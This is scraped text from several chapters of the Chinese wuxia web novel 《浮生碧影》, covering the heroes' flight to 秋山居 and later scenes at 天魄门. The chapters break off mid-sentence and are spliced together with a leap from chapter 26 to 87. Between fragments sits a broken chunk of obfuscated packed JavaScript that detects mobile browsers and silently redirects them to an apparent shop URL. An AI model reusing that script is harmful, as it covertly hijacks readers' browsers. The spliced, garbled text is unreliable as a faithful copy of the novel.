刚才夏中宇与潘尚怀相搏时已经使出全力,这时又震惊于阮云飞突然活过来的事实,心神不宁之下突然遭遇敌手,免不了应变微迟,他右脚滑出半边,只以毫厘之差躲过了对方的掌力。阮云飞侧身再次攻上,夏中宇右手曲伸,左掌斜出,和她又对了一掌,二人各自分开。 夏中宇狞笑着:“师妹,你打不过我的,就把这掌门之位让出来吧。” “你残害同门,掌门之位如何能交给你这毫无心肝之人!”阮云飞睚眦欲裂,可恨自己一击不中,无法为潘尚怀报仇。 “阮云飞,我看你确实当不得这彭城派的掌门了。”开口的是赵绪良。 阮云飞心中一颤,想不通他又要耍什么把戏:“赵绪良,你这是何意?” 赵绪良嘿嘿冷笑,故意用所有人都能听见的声音说:“赵某这几年虽不常在江湖上行走,但眼力是好的。这位公子看着倒像是天魄门江邵谦的儿子。天魄门正是害死沈掌门等一干武林同道的最大嫌疑人,阮掌门既然已经获悉,却仍和天魄门的人走在一起。啧啧啧,这要是让别人知道了,少不得要疑心你阮云飞和外人勾结,害死亲夫,谋夺这掌门之位呢。” 此话一出,厅上顿时一片哗然。瑾瑜忘记了自己的处境,大喊出声:“姓赵的!你血口喷人!”还好紫瑛给他改了面貌,不然这一下必定暴露。 紫璇和江珺翊也没想到他竟然认得出天魄门的人,相互对望一眼,没有说话。 赵绪良大笑了几声:“是不是血口喷人,问一问就知道了。”脸转向一侧的江珺翊,“江家小子,我说的不错吧。” 既然已被认出,江珺翊不好否认,免得堕了天魄门的威风:“在下的确是天魄门弟子,但我与阮掌门是今日刚刚认识的,之前并无缘相见。你口中什么‘密谋’什么‘勾结’的,并无此事。何况赵前辈自己也说天魄门只是有“嫌疑”,尚未定罪,为何要无端揣测,还妄图给阮掌门扣上这般荒诞的罪名。晚辈倒要问一问,赵前辈如此急不可耐,究竟是何道理?” 他的话滴水不漏,既没有掉进赵绪良的圈套,还指出他居心不良,瑾瑜在心中暗暗称赞。 阮云飞恨恨地盯着赵绪良: 23. 姥姥(一) 《浮生碧影》全本免费阅读 疾行之中,江珺翊飞快地与紫璇商议,自己去寻紫瑛,紫璇则带着其余人继续南向,最终至含山秋山居回合。 阮云飞熟悉周围地形,领着大家兜兜转转,尽量在僻静荒野行走,时而向西时而向南,一路并无遇到追兵。几日后路遇山间小溪,正好众人口渴,便在此处取水休息。潘睿自那晚后便痴痴呆呆的,想来是父亲的死亡给他的打击甚大。此刻被紫璇放松后就跌坐在一块石头上,一句话都没有,阮云飞汲了水给他送去,顺便在他耳边说些安抚的话。 化装多日,瑾瑜这才有机会洗去面上的各种遮盖,恢复本来面目。神清气爽后,他突然想起一事,慌忙对紫璇道:“解药!你还没给潘尚怀的那几个弟子们解药呢!” 原来,在阮云飞师弟的小院内,紫璇为了胁迫潘尚怀的弟子合作,让其带阮云飞已死的假消息回彭城派,便给他们喂了毒药。但他们逃出来时过于匆忙,没有机会把解药给他们。 哪知紫璇听后只是笑着摇了摇头,阮云飞则诧异地瞪大了眼睛。 “阮姐姐不知道,你难道认不出来?”紫璇反向瑾瑜问道。 “我?”略想了想,瑾瑜自己也笑了起来,“原来你给他们吃的是补药。” “此药炼制不易,甚是名贵,也真是便宜了他们。而且一下子吃掉了那么多,回去我肯定要挨骂。” 瑾瑜正想问“谁会骂你”,却被阮云飞抢在前面:“那你用在夏中宇身上的暗器呢?可有毒吗?” 紫璇又笑了:“当然不是,我可不敢毒死他。针上只不过涂了些麻药,射中敌人穴位便能够让其身体麻痹,动弹不得。” “麻药?”瑾瑜第一次听说还有这种东西,注意力马上被吸引过来。 “它只会让敌人麻痹一个时辰,使其无法行动,之后便可恢复,害不了性命的。” 瑾瑜点了点头表示理解。 阮云飞又问:“这几天妹妹只是说向南,却没告诉我们到底要去哪里。” 紫璇微微正色:“阮姐姐如今是回不得彭城派了,但尚有几位弟子以及幼子在身边,再者陆大哥也受了伤,眼下必须得给你们找个安身之地才是。” 阮云飞心头一热,听她继续说道:“急切间没有更好的去处,向南往含山县,那里有一位我的长辈,虽然严厉些,但是心地甚好,一定肯接济你们。何况那里地方又大,房舍齐全,姐姐带着孩子和诸位弟子们住几个月完全没问题。” 阮云飞紧紧攥住她的手:“紫璇妹妹,谢谢你!” 她如此激动,反叫紫璇觉得窘迫:“没有什么,这也是师兄的意思。” “那江公子和紫瑛姑娘也是往那里去了?”瑾瑜插言。 “当然,师兄会护送他们上山,估计要比我们早到一些。” 阮云飞少不得再次感叹:“江公子和紫璇妹妹有心了。” “姐姐落难,我们帮一帮也是应该的。” “你们几次三番地助我,这份情我当铭记在心。” “你我既然认了姐妹,我怎么能对你的事袖手旁观?” “你帮的不只是我,还是彭城派。你们如此舍身忘死地助我脱困,又怎么会是倪家庄口中的奸恶之徒呢。待我见到文门主,必要好好谢谢他。” 紫璇点点头,没有再说话。 休息已毕,众人继续向南进发,终于在两日后到达一处山脚。初夏的清晨尚带有一丝凉意,众人虽然疲惫不堪,但想到已经离目的地不远,仍坚持着向上攀登。 突然远处传来什么声音,三枚圆溜溜的物事从空中疾速飞来,阮云飞走在最前面,好不容易纵身避过,再定睛往地上一看,那圆圆的东西竟然是棋子,而且那棋子在日头底下隐隐透出光泽,显然不是普通材质。 不待她细想,又有几枚棋子射来,来势甚急,破空之声不绝于耳。阮云飞忙抽出手中宝剑欲档。哪知剑未拿出,一枚棋子正中她手腕,拿剑的手登时松了。 紫璇和瑾瑜已发现不对,急忙从后面抢上,瑾瑜速度稍快,俯身抄起下落的剑,顺势抽出往地上一撑,身子便正了过来。继而用剑挡格,阻住了几枚棋子。但那棋子上附着的力道甚大,仅仅只是碰了一下,瑾瑜便不由自主地往后倒去,情急之下他将剑随意挥舞,既找回了平衡,也削断了迎面而来的几枚棋子。 瑾瑜刚刚站稳,棋子再至。紫璇抢在他身前,两手上下飞舞,瞬时间已经抓了六枚棋子在手。她面露喜色,朝山上大叫:“谭叔叔,是我!” 山路往上,便有一位身穿青衣的中年男子现身。他认出当先之人,便把已经在手的棋子往怀里一揣,一个跟头从上面翻了下来,顺手捡起最先的三枚旗子揣进怀中,动作一气呵成,众人看得目瞪口呆。 青衣男子喜笑颜开,一把扯住紫璇:“璇儿!你可回来了。” 紫璇微露笑意,尚未说话,阮云飞已经上前行礼:“如此厉害的暗器功夫,必然是‘百步穿杨’谭修明谭前辈了,晚辈久仰大名,今日一见,果然是名不虚传!” 谭修明在武林中有些名声,一向最喜欢听别人恭维他。他隐居在此,无形中失去了许多被人拍马屁的机会,一听到阮云飞不用介绍就能说出自己的名号来,立马撇下紫璇,笑嘻嘻得看着阮云飞:“这个女娃娃,年纪轻轻,没想到还挺有见识。” 紫璇忙向他介绍:“这位是彭城派掌门阮云飞。” 阮云飞也正式向他施礼问候:“谭前辈好。”又笑着说,“我比紫璇妹妹大了十来岁,前辈却说我还年轻,当真是羞煞我了。” 紫璇又要介绍瑾瑜,他却突然变了脸色,伸出一只大大的手掌:“你赔我的棋子!” 瑾瑜一时间没有反应过来,只茫然的看着他。谭修明以为他装傻,又说了一句:“我的棋子!你刚刚打烂了我的棋子,别想翻脸不认账!” 这下瑾瑜才听懂了,原来为自己刚刚打碎他的棋子,谭修明不高兴了。 紫璇抢先替他辩解:“谭叔叔,方公子刚刚是一时失手,他也不是故意的……” 她还没说完,谭修明便大叫起来:“我不管他有意还是无意,总而言之那棋子可是我费了 24. 姥姥(二) 《浮生碧影》全本免费阅读 “许前辈,她竟然在这里?!”阮云飞十分讶异。 虽然之前就已经听紫璇提起过许淑平,但能够当面见到这位自己年轻时就极为敬仰的前辈,心情自是不同。阮云飞一边跟着紫瑛上山,一边在脑中回忆起自己所知的关于许淑平的往事。 许淑平年纪轻轻就位列“天目三英”,还是其中唯一的女子。虽然有人觉得她能有此声誉不过是因为她是掌门之女、出落的又颇为清秀,时人刻意恭维罢了,但阮云飞听说,她在武学上造诣颇深,不到二十岁就打败了很多江湖上成名的高手。不过她成婚很晚,是在天目派突然败落之际嫁给当时的天魄门门主苏明启的,往后旁人便只知她是天魄门门主的夫人,她年轻时的绰号自然就少有人提起了。 苏明启武功卓绝,又苦心经营,在他治下,天魄门在江湖上一度有回黄转绿之势。估计当时天目派也是看上了这一点才愿意以年仅二十来岁的掌门之女嫁给他这个年近半百的人。再后来苏明启突然亡故,许淑平也就此遁世,以至于一些江湖后进都不曾听过她的名号。 这样想着,不知不觉已到了山中一处较为平坦的所在,眼前是一扇半掩着的木门,牌匾上“秋山居”三个字极为工整。推开门,里面绿树掩映、流水相合,倒是个十分清幽的所在。转过小路,来到一处院落,当中一片空地上细细的铺满了石子。石子大小均匀,显然是用心挑选过的。空地一侧竖着兵器架子,上面有刀枪剑戟多种兵刃,此处当是个演武场。 “娘!” 一个小男孩从另一侧地门中跑进来,一头扎进了阮云飞怀里。 默儿抬起头,小眼睛里满是亮晶晶的泪水。阮云飞马上蹲下来,将他通身仔仔细细地看了一遍,尚未开言,眼圈先红了。默儿身后又有一人缓步走来,看着娘俩满脸笑意:“默儿见你不着,连觉都不好好睡了。”此人便是阮云飞的师弟陆文渊。 阮云飞牵着儿子,也上前打量了陆文渊片刻,问道:“身子可好些了?” “原本就没什么大碍。这里又有沈前辈妙手回春,哪有不好的道理。” 他说得云淡风轻,奈何默儿非要拆他的台:“陆叔叔骗人,昨天晚上他还喊痛呢!” 陆文渊蹲下来,刮了一下他的小脸:“不是和我约好了不说的吗?” 默儿理亏,便低头看着脚趾。 陆文渊一把将他抱起:“男子汉大丈夫最要紧的便是言而有信,你怎么说话不算话!” 阮云飞担心他身体还没好,忙叫他把默儿放下来,别伤着自己。陆文渊却毫不在意,对阮云飞摆摆手,眼睛仍是盯着默儿。 默儿忸怩了几下才小声说了一句:“默儿知道了。” “我还是第一次听闻沈前辈通晓医术。”阮云飞道。 “姥姥医术神通,璇儿小时候身子弱,都是她照看好的。”紫瑛应道。 瑾瑜闻言好奇:“紫璇姑娘身体不好吗?” “现在好多了,她小时候就是个药罐子,还不听话,总是不肯吃药,回回都要我哄她。”这次又是紫瑛回答。 紫璇无奈摇头:“不过是忘记了两三回,就要被你念叨这么久。年纪不大,甚是唠叨!” 紫瑛搂住她肩膀:“只有两三回?”紫璇就不说话了。 谈笑间,彭城派弟子们得知掌门人到了,此刻已经全部集合到院中,齐刷刷给阮云飞行礼。阮云飞见他们都安好,回想起那一晚的惊心动魄,心中十分触动,眼中泪意更盛。 陆文渊见她如此,柔声道:“他们一直很担心你,这几天连笑容都不见一个。你对他们的好,他们都记着呢。”众弟子闻言纷纷点头,几个年轻些的也都红了眼圈。 突然不知从何处闪出一个黑影,穿过众人径直奔向紫璇。瑾瑜眼光最为灵敏,急忙伸手去抓,然后手之所及一无所获。再一眼,一位中年妇人牵住紫璇手腕已经转到了院子的另一边。 瑾瑜还想再出手,却被紫瑛急忙按住:“姥姥给璇儿诊脉,咱们都别出声。” 也不知是她这话奏了效,还是许淑平冰霜一般的面容最能拒人于千里之外,当下无一人敢出声,更别说是动一动了。 许淑平闭着眼睛诊了好一会儿,才问了紫璇一句:“一切都好?” “没有遇到什么大的危险,我一切都好。” 许淑平像是不放心,仍旧抓着她的手问道:“没人看着你,药可有好好吃?” “一天都没落下。” 看样子紫璇的确是个不怎么听话的病人,许淑平非要她拿出药瓶来看。显然并不相信她的话。紫璇听话地从怀中拿出一个小瓶递给她,她打开盖子,倒出来的正是瑾瑜曾经见过的蓝色药丸。许淑平数了数,应当是没有问题才把药还给紫璇,说了句:“还算听话。” 背着许淑平,紫瑛向瑾瑜做口型:“我就说吧。”阮云飞一眼瞥见,不禁抿嘴轻笑。 随后,许淑平蓦地向后跃开数丈,继而身子前倾,挥掌向紫璇打来。紫璇丝毫不慌,运劲在手,脚下转个圈子,不待许淑平期到她身侧便往右急转,绕到她身后在她肩上拍了一下。许淑平也不着恼,反而带着一丝笑意,双掌后撤,背着身子就往紫璇上身招呼。紫璇飞身而起,双足恰好在许淑平臂上一点,翻了过去。 众人惊骇之余,反应过来这是许淑平在考较紫璇的功夫,于是都屏气凝神,仔细瞧着二人进招。不一会儿,二人就拆了有十余招。瑾瑜并不知道许淑平在武林中是何等地位,到不觉得十分惊讶,只不过想着许淑平少说也快五十岁了,和紫璇斗了许久却毫不气喘,精力旺盛可见一斑。 然而他旁边的阮云飞却越看越是气馁:“我身为彭城派的掌门,在许淑平底下能走上十来招已经算是难能可贵,紫璇妹妹比我年纪轻,武功却强过我,难怪夏中宇不服气,要来夺这掌门之位。这还罢了,只是彭城派的未来……”回头望一望自己和丈夫的十数名弟子,他们大睁着眼睛,眼珠子随着二人眼花缭乱的招式转来转去,却一点也跟不上她们的身影,阮云飞更加觉得心灰意冷。 陆文渊察觉到她的心思,把默儿推到她的怀里,在她耳边低声道:“来日方长。” 阮云飞点点头,算是感谢他的安慰。 再看紫璇,拆过二十招后就渐渐有些左支右绌,面对许淑平飞来的掌力应对的颇有些缓慢,当然这种“慢”也只是相对于许淑平的掌速而言。只见许淑平出掌越来越快,紫璇勉力后撤,避过了一掌。许淑平右脚在地上一踏,全身倾侧于左边身子,左掌所及已在紫璇腰腹,所幸她并未使出全力。然而这一招,显然是紫璇输了。 瑾瑜终于松了口气,正要 25. 心结(一) 《浮生碧影》全本免费阅读 秋山居占地极大,却没有多少人。除了三五个负责做饭洒扫的仆妇,就只有许淑平、谭修明并一个叫做贺新韵的年轻女子。贺新韵比紫璇年长,约二十来岁,文静娴雅,说起话来温温柔柔的,秋山居的各项衣食琐事都由她打理。彭城派诸弟子早就由她安排住到了一所较大的院子中,阮云飞自然是和默儿一起。紫璇、紫瑛是常客,有自己的固定住处。就连瑾瑜的住处贺新韵也提前安排好了,各项物事齐备,只等他来。 众人各自见过,自然有一番寒暄。言谈间瑾瑜得知,许淑平早年间曾救过谭修明的性命,他为报恩情,才愿意守在这里,负责秋山居的安保工作。还听说天魄门门主文远骥也已经往这里来了,江珺翊接到传书,提前去迎候。还有,天魄门远在西北,冬日里寒风阵阵,紫璇自小怕冷,极易生病,这座山上有温泉,比较适合她疗养,所以她基本上是住在这里的。 许淑平性子冷谈,受了几位晚辈的礼后略坐了坐就离开了。她走后,彭城派也告辞离开,自去叙话。连日劳顿,瑾瑜早就疲惫不堪,只说了几句话便去休息。最后只剩下紫瑛姐妹、谭修明和贺新韵聊起了紫璇这一两个月的见闻。 是夜,月色如水,清辉满地。紫璇独坐于浮云亭上,正望着月亮出神。亭下流水潺潺,倒影出一亭一人及几步外的一弯新月,微风徐来,水中倒影跟着荡漾不定。 贺新韵轻手轻脚地步入亭中,将手中的披风披在了紫璇背上,轻声道:“当心给冻着了。” 紫璇转过身来,语气有些许不耐烦:“知道啦,我都多久没有发病了,你们一个个的也太紧张了。” “好好保养,才不用受那辛苦。为了你的身体姥姥操了多少心,就算是为了她,你也该……” 紫璇不想听,拉住她的胳膊让她坐下来:“好了好了,知道你心疼姥姥,我一向听话,不用你和姐姐一边一个念叨,再说下去我脑袋都要炸了。” 贺新韵宠溺地白了她一眼,不再说话。 紫璇见她闭嘴,满意地笑了,又问她:“姥姥已经睡下了?” “她要是没睡,我能到这里来见你?要是让她知道都这个时辰了你还在这里吹风,她不得从塌上翻起来,亲自将你拎到床上?” “又来了!”紫璇在心内哀嚎一声,赶紧说:“谢谢你替我打掩护。你声音小一点,不然姥姥可就真醒过来了。“ 贺新韵放低声音:“你放心,她这几日睡眠不好,我点了安息香,看着她睡着了才来的。” “这些年姥姥的衣食住行,你无有不用心的。她这睡不踏实的毛病也很多年了,你是为了她才学了安息香的制法,对吗?” 贺新韵轻轻叹了口气:“她对我又何尝不是庇护有加呢。当年如果不是你们收留了我,这天地之大,哪里有我的容身之处?只怕我也随爹娘一起早做了孤魂野鬼。” 惹起了她的伤心之事,紫璇有些愧疚,又不知如何安慰她,只好不说话。贺新韵到没有在意这个,反倒是看着她:“你又是为何睡不着呀?” “没什么,就是刚回来,思绪纷杂,还没有睡意。” 贺新韵摇摇头,冷不丁问道:“你有一年多没见文叔叔了吧?” 被她戳破心事,紫璇放开她胳膊,坐开些去,不自然地反问:“你突然问他干什么?” 贺新韵盯着她,直说了:“你不就是今日听见文叔叔要来,才开始不自在的?当我不知道?” “他是为了和彭城派掌门商量要事才来的,和我又没有关系,我为何要不自在。”紫璇错开她审视的眼睛,“倪家庄的事情还没了,江湖上马上就会到处传闻是天魄们做下了这些命案。我打算明日就下山,早点去查。” “听你今日所言,这件事颇为复杂,你再着急也没用,不如等文叔叔来了,一起商量好怎么办再做打算。” 紫璇如何不知这才是上策,但她的确有些不想见到自己的父亲,一时无话可说。 贺新韵又加上一句:“你呀,一说起文叔叔就像个小孩子一样。难道说今日阮掌门不在这里,文叔叔就不会上山来看看你?” “不会。” “我知道,你埋怨他把你一个人放在这里,一年之中你们也见不了一两回。可是文叔叔也是为了你的身体着想,才让你住在这里,让姥姥可以随时看顾你的呀。不说别的,文叔叔三不五时地差人来给你送吃食玩物,他要是不想着你,怎么会费心思到处搜罗好东西给你呢。” “那些都是我娘喜欢的东西,他送来给我只是在怀念她罢了,和我有什么关系。” 贺新韵有些生气了:“你是故意来气我的对不对?当真是身在福中不知福!你知道我每次见到文叔叔对你的这些好,有多羡慕吗?”说到最后,眼眶已经红了。 紫璇感觉自己好像过分了,有些无措:“对不起,我不是这个意思。” 贺新韵用衣袖拭去眼角的泪水,没再说话。两个人就这样默默地坐了一会,各自想着心事。 平复了心情,贺新韵才又说:“也难怪你。你还小,自然不知道什么叫‘子欲养而亲不待’。想我在你这般年纪的时候,也对自己的父亲有诸般怨言。” 紫璇有意要缓和两人之间的气氛,立马接话道:“是吗?以前总是听你怀念贺庄主的各种好处,还是第一次听说你对自己爹爹有不满。” 贺新韵望着亭边流水,幽幽地道:“父女之间嘛,有些磕碰也是正常的,那些都是小事。”顿了片刻,“最让我后悔的,是他出事之前我和他大吵了一架,我还说他是‘势利小人’,威胁要离家出走。”她停了下来,似乎又陷入了回忆当中。 紫璇看着她的背影:“没想到姐姐如此温婉的一个人,竟然还会和贺庄主吵架。” 贺新韵转过身来,扯出一个笑容:“小时候也任性过,当时觉得是天大的事情,现在想来都不过是小小波折罢了。” 紫璇虽然好奇,但贺新韵不说,她也不好催促,两个人又陷入了沉默。 “很多年前的事情了,我只告诉你一个人,你不许告诉别人。”又过了一会儿,贺新韵再次开口。 “我嘴巴有多牢,你最清楚不过了。” “也是。”贺新韵神色轻快许多,她站起来,俯身去看亭下流水:“那时候我十五六岁,正是淘气的年纪。我一向不喜欢学武,山庄里来来往往的又都是武人,甚是无趣。爹爹总是很忙,我娘亲待我很好,见我成日里无聊透顶,就派人去镇上书铺里寻些好玩的来给我看。你知道的,那些江湖人哪懂什么书啊册啊的,去买书的人只说了是要买给家里的小姐,书铺的老板就塞了好些个话本子给他。” “话本子?”紫璇好像没听过这样的东西。 “怎么,你竟然不知道?瑛儿偷着看的时候可是被我捉到过。”她见紫璇还是一无所知的样子,笑着轻叹,“也是,你的全幅心思都在练功上面。”便向她先解释了什么是“话本”:“就是茶楼瓦肆里说书人讲的故事,什么王侯将相、奇人异事、才子佳人之类的……” “王侯将相、奇人异事、才子佳人……”紫璇以好学的心态重复道。 “对,花样可多了……” “那最好看的是哪种?” “我……”贺新韵突然有些扭捏起来,紫璇却不明就里,愈发疑惑起来。她知紫璇对这些事知之甚少,应该也不会笑话自己,便又继续说起来:“每个人喜欢的不一样,我嘛……那时候最喜欢看才子佳人的故事,就是那种……少男少女的破除地位身份和家族的阻碍,倾心相爱的那种故事。” 贺新韵停下来回头瞧了瞧紫璇的脸色,看她毫无异状,接着说:“我 26. 心结(二) 《浮生碧影》全本免费阅读 瑾瑜一夜好眠。尚未破晓,他已经起床,梳洗过后便在半山居里闲逛起来。 一路沿着园中水道经过了浮云亭、流水阁,听了听山中鸟儿的啼鸣,驻足欣赏了一会桥边信手所植的月季,还摘下一串刚刚绽放的槐花嗅了嗅。行至演武场,便看到紫璇早已经在此,正在练剑。 只见她左右脚相继踏出,一步步急速向前的同时,右手剑花挽个不停,突然间左足向下一点,左臂后展,身子借力飞起,在半空中转了几圈,持剑的右臂递出,剑身因旋转化为一道白光。 一招使完,紫璇的身子并不下坠,她用下沉的剑身撑在地上,屈膝再次跃起,左手握住右手,奋力往下一劈。力道虽大,落地的身法却极为轻巧,不妨碍她马上变招,左足踏在右足之前,右足踏在左足之前,又重复练起了刚才的招式。 她似乎对自己的练习不太满意,重复了几次之后停下来,站在原地不动,左右手配合,慢慢比划着招式。瑾瑜远远地看着,这似乎就是她昨天败于许淑平的那一招。 沉思了许久,她才发现瑾瑜:“方公子起的好早。” 方瑾瑜走上前去:“紫璇姑娘也太勤奋了些,昨日刚刚上山,今天也不休息一下?” 紫璇垂下眼帘:“我的剑法练得不到家,得多下一些功夫才行。” 她的情绪似乎有些低落,瑾瑜猜想是为了昨日被考校武艺的事,便有些替她不平:“沈前辈的要求也太高了些。阮掌门都说你剑法纯熟,远胜自己呢。” 紫璇摇头:“姥姥武艺高强,拳脚、剑法无一不精,和阮姐姐的眼光自然是不一样的。” “你才十七岁,就有这样的造诣,恐怕这世上没有几个人能做到。如果你都入不了她老人家的眼,那我这种岂不是都不配站在她面前了?” “那道不至于,姥姥严厉,但也只是对我一个人如此。紫瑛和贺姐姐都不喜欢练武,她也从来不强迫她们的。” “那你呢?你喜欢练武吗?” “嗯?” “譬如,我就不喜欢武功,即便是我爹想了很多法子,甚至是打我骂我,我都不愿意下功夫去学去练。你对武艺如此上心,练得又好,是本身就喜欢武功吗?” “我……算是吧。” 瑾瑜从她的语气里听出了一丝犹豫,便试着揣摩她的心思:“喜欢,但也不是很喜欢?” 紫璇不禁踌躇,用剑随手比划了加下,觉得无碍才说了实话:“练得好自然喜欢。但像这样,有一招怎么想也想不明白的时候,就不喜欢。” 瑾瑜点点头,表示明白,又问:“你师兄剑法比你好,那你可有强于他的地方?” 对于这个问题,紫璇早就想过很多次,于是很快回答:“拳脚上我们不相上下,有时候对阵我还能赢他半招。暗器上我跟谭叔叔学到不少,当强于师兄。” “这不就是了!”瑾瑜拊掌笑道。 “你说什么?”紫璇完全不理解瑾瑜开心在哪里。 “珺翊兄剑法略好于你,你的暗器好于他,这不就行了吗?难道你还想全方位超过他,非把他比下去不可吗?” “我当然没有这个意思。” “是了呀。人又不是神仙,怎么可能事事完美。每个人都有自己擅长的一面,也必然会有不擅长的。如果我们总是盯着自己的短处,岂不是只剩下郁闷和不服气了嘛,怎么能过的开心呢?” 瑾瑜的论调和紫璇以往接受的教导完全不同,她想了想,还是摇头道:“你说的虽有一些道理,但武学本来就讲究精益求精,如果满足于一时的成就,又怎么会有精进呢?” 瑾瑜却丝毫不怕她的反驳,依旧笑着问她:“精益求精当然是要的。那为什么不在认可自己做的好的基础上精益求精呢?” “有何不同?不都是勤加练习弥补不足吗?” “非也非也。一种是在喜悦自得的基础上更进一步,另一种则被‘我不够好’的压力逼着突破不足,练的出发点不同,心境也必然不同。” “所以呢?不都要勤学苦练?有什么差别吗?” 瑾瑜被她问住,一时间不知道如何措辞。踌躇之间,贺新韵出现了,她先问了瑾瑜地安好,才对紫璇说:“昨儿睡得晚,今天怎么这么早起来?你没用我给你的安息香么?” “当然用了,我昨晚睡得很好,这才醒来的早。”紫璇道。 贺新韵点点头:“有用就好。” “紫璇姑娘平日里睡眠不好吗?”瑾瑜又好奇了。 紫璇没有回答,贺新韵却看着她开起了玩笑:“她呀,就是小孩装大人,爱瞎想罢了!” 瑾瑜毕竟是外人,当着他的面被编排,紫璇稍稍发窘,拍了贺新韵一下:“你再胡说,我可要恼了!” 贺新韵哪肯罢休,继续拿话儿逗她,紫璇也不依不饶地与她玩笑起来。 瑾瑜见她二人如此毫无顾忌地打闹,已将刚刚没答上来的问题抛到了脑后。回忆起倪家庄里那个运筹帷幄、胆略过人的紫璇,心道:“原来她也有这样的一面。也是,她也不过十七岁而已。” 阳光明媚,岁月静好,几日前被追捕扣押紧张憋屈的日子仿佛都已经过去多年,完全被他抛诸脑后了。 ***************************************************** 彭城派诸人都住在秋山居里一处单独的院子中。院内有大小六间房屋,一间正堂,其余都可做卧室。还有一个不大的厨房,可以供他们自己准备一些简单的饭食,不过贺新韵每日都会安排好他们的三餐,这里几乎派不上什么用场。 阮云飞当时留在农家的那些行李物事也已在紫瑛带着彭城派弟子来此的路上一并取到了,再加上贺新韵这几日周到安排,已经添了许多必要的东西,彭城派住在此处无丝毫不便。 这些弟子中,原航、周宴等都是沈一峰的弟子,只有两个女孩子拜在了阮云飞门下。不过沈一峰作为掌门诸事繁冗,少有时间关照自己的弟子。实际上,他们开蒙授艺之事大多还是交给阮云飞负责的,有时候陆文渊也会在旁协助一二。 当前武林中有资格开科授徒的,大致有两种人。一种人武艺超群,在江湖上闯下名声,便会有人投在门下拜师学艺。另一种则是大大小小的各种门派,在江湖上屹立已久,有自己的基业和历史,不难招揽到醉心武学或像依附势力的年轻子弟。 但无论如何,授徒之人的年纪大多都在三十岁以后,这是因为一般人要到二十岁后半乃至三十岁才能武艺大成,有自己感悟和所长。沈、阮二人都不过三十来岁,这些弟子投入其门下时间并不长,武学上都还只是刚刚入门。所以在彭城派内斗时,江珺翊判断他们帮不上忙到真不是随口乱说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913873|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会给紫璇姐妹俩做好几个,有各种花卉形状的,也有小兔子小马模样的。即使是搬到秋山居以后,每年端午前文远骥送来的礼物里,也往往会掺上庞氏特地做给她的荷包。 贺新韵先问了好,庞氏和她说了几句话,又牵起紫璇的手,上上下下地打量她,最后才说了一句:“山上冷,你怎么不多穿点。” 紫璇鼻子瞬间有些发酸:“我现在身体比以前好多了,并不觉得冷。” 庞氏点点头:“那就好。”可目光还是停在她身上。紫瑛看在眼里,也露出欣慰的笑:“二婶,璇儿走了好些年了,一直也不得机会回来,你是不是也很想她?” “怎么能不想呢。那时候,你们俩就这么一丁点,这才过了几年,都成大人了。” 庞氏兀自感慨着,紫璇却很不习惯这种温情的场面,极其不自在。幸好紫瑛牵住庞氏的另一只臂膀,同她撒娇:“璇儿这次回来要待很久呢,保准让你解了相思之苦。”又扭了两下,“二婶,我饿死了,璇儿她们早上也没怎么吃东西呢。” 庞氏会意,带着小斜了她一眼:“好好好,咱们先吃饭!饭早就做好了,在灶上热着呢。”之后便拉着紫瑛,带她们往正堂去。 说话的功夫,菜便上齐了。庞氏招呼她们动筷子:“听说淮杨一带的吃食都做的十分精致,咱们这地方偏僻,又在山上,你们可别嫌粗糙,将就吃一点。” 贺新韵忙道:“我家原在晋中,吃的都是北方风味,去了南边一开始也吃不惯,后来才慢慢发觉出滋味来。可知,不同地方都有自己的饮食风格和习惯,各有特色,没有谁比谁好的说法。” 她话说的漂亮,庞氏更加喜欢,又搛了好几种不同的菜色在她的碗里。贺新韵尝了几口,和紫瑛纷纷夸赞其庞氏的厨艺来。 耳边欢声笑语不断,紫璇却望着面前的汤盆发呆。仍旧是模糊的记忆,好像有一回寒症发作,她连着烧了好几天,不管吃什么都会一股脑儿吐出来,药也因此灌不下去。一筹莫展之际,庞氏做了自己家乡的一种吃食,叫做汤面鱼儿,酸香可口,又暖又开胃,这才解了急。 庞氏似乎是看出了她的心事,亲自给她盛上一碗面鱼儿,柔声道:“这么多年了,也不知道你是不是还爱吃这个东西。” 紫璇接过来,手心暖暖的,这才说了自坐下以后的第一句话:“生病的时候,偶尔会想吃这个,只是没有人会做。” “回来了就好,以后我做给你吃。”庞氏说着便在她身边坐下,又给她碗里也添上许多菜,末了又补上一句:“不生病的时候也可以吃。” 紫瑛听见了,也凑趣道:“二婶告诉我怎么做,我学会了也能做给璇儿吃。” “做法不难,就是将和好的面搓成小拇指盖大小的团子,下熟了,浇上鸡汤里,加些醋和烧熟的蓖麻油……” 紫瑛和贺新韵都认真听着庞氏说话。紫璇看了一会儿手中的面鱼儿,最后端起来尝了一口,味道和小时候一模一样,露出了今天的第一个笑容。 87. 天魄门(二) 天魄门兴盛之时,在门主之下设有左右护法及十多个堂主之位,分别掌管门中政事、武艺教习、产业经营、兵器营造、防守御敌及门人衣食住行等各项事务。 不过如今人丁缩减,文远骥顺势精兵简政,只在政事堂之下设立了固元、崇本、守冲、济英四个分堂,以承担门中基本事宜。政事堂是天魄门的中枢机构,江邵谦为首座,遇有门中大事,他便会邀齐堂主,与文远骥一起商议定夺。如若事涉山民住户,也会请来山中有名望的老人、族长,听取他们的意见。 文远骥下山两个多月,甫一回来,江邵谦便会同三位堂主来汇报这几个月的要务。许淑平身为前门主夫人,地位卓然,也被请来旁听。 众人刚在议事堂上坐定,江邵谦便率先起身,端端正正跪于中庭,江珺翊见状,也慌忙出列跪在父亲身后。 “属下肩领防范外敌、守卫冲要的职责,却对贼人潜入太白山之事一无所知,这才让李氏旧祠堂中的藏宝图落入他人之手,引发了这之后的无数麻烦。失察之罪无可推卸,既然门主回来的,就请你当着诸位的面治罪吧!”江邵谦说罢,伏地拜了一拜,江珺翊也跟着拜了下去。 江邵谦除作为政事堂首席管理天魄门上下诸事以外,还兼领守冲堂堂主之职。按说太白山幅员辽阔,天魄门力量也不比从前,从若干年起就已经无法兼顾后山,这次被长业帮三老和杨世坤闯进来找到藏宝图实在是情理之中,严格来说并不算他的失职。 